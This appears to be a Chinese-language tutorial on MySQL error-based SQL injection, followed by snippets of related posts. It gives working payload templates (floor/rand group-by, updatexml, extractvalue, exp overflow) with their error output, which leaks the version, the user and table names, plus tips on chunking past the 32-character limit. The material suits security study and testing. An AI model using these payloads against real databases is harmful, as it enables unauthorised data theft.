利用:
mysql> select 1 from
(select count(*)
,concat(version(
),floor(rand(0)
*2))x from information_schema.tables group by x)a;
error 1062 (23000): duplicate entry '5.1.41-3ubuntu12.6-log1'
for key 'group_key'
x和a是給起的別名。即將 floor(rand(0)*2)這一串表示為x。完整寫法:select 1 from (select count(*),concat(version(),floor(rand(0)*2)) as x from information_schema.tables group by x) as a;
總結:select 1 from (select count(*),concat((子查詢),'~',floor(rand(0)*2)) as x from information_schema.tables group by x) as a;
錯誤回顯:error 1242 (21000): subquery returns more than 1 row
使用limit
檢視,一次
錯誤回顯:error 1241 (21000): operand should contain 1 column(s)
檢查子查詢返回的列是否為乙個
利用:
mysql> select 1 and updatexml(1,
(concat(
'~',
(select version())
,'~'))
,1);
error 1105 (hy000): xpath syntax error: '~5.1.41-3ubuntu12.6-log~'
總結:and updatexml(1,concat('~',(子查詢),'~'),1);
mysql>5.1.5
最大返回32,如果返回的字元超過32則要使用字串截斷函式分次檢視
eg:
select 1 and updatexml(1,concat(
'~',substring(
(select table_name from information_schema.tables where table_schema='test'
),1,1)
),1)
;error 1105 (hy000): xpath syntax error: '~t'
利用:
mysql> select 1 and (
select extractvalue(null, user())
);error 1105 (hy000): xpath syntax error: '@localhost'
總結:select 1 and extractvalue('任意',concat(0x7e,(子查詢),0x7e));
最大32,如果超過32則使用字串截斷函式分次檢視(和updatexml相同)
mysql>5.1.5
mysql版本對它存在影響。我的mysql在5.1以下失敗,5.4成功
成功:
mysql> select exp(~(
select
*from
(select user(
)) as x));
error 1690 (22003): double value is out of range in 'exp(~((select 'root@localhost' from dual)))'
mysql>
mysql> select @@version;
+-----------
+| @@version |
+-----------
+| 5.5.47 |
+-----------
+1 row in set
(0.00 sec)
失敗:
mysql> select @@version;
+------------------------
+| @@version |
+------------------------
+| 5.1.41-3ubuntu12.6-log |
+------------------------
+1 row in set
(0.00 sec)
mysql> select exp(~(
select
*from
(select user(
)) as x));
+-----------------------------------------
+| exp(~(
select
*from
(select user(
)) as x))|
+-----------------------------------------
+| null |
+-----------------------------------------
+1 row in set
(0.00 sec)
利用:
mysql> select exp(~(
select
*from
(select user(
))x));
error 1690 (22003): double value is out of range in 'exp(~((select 'root@localhost' from dual)))'
了解利用exp SQL注入 報錯注入
乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...
SQL注入 報錯注入
sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...
SQL 注入 報錯注入
報錯注入的三種格式 第一種 updatexml 修改格式函式 修改格式不符合 報錯 函式解釋 updatexml xml document,xpath string,new value 第乙個引數 xml document是string格式,第二個引數 xpath string xpath格式的字串...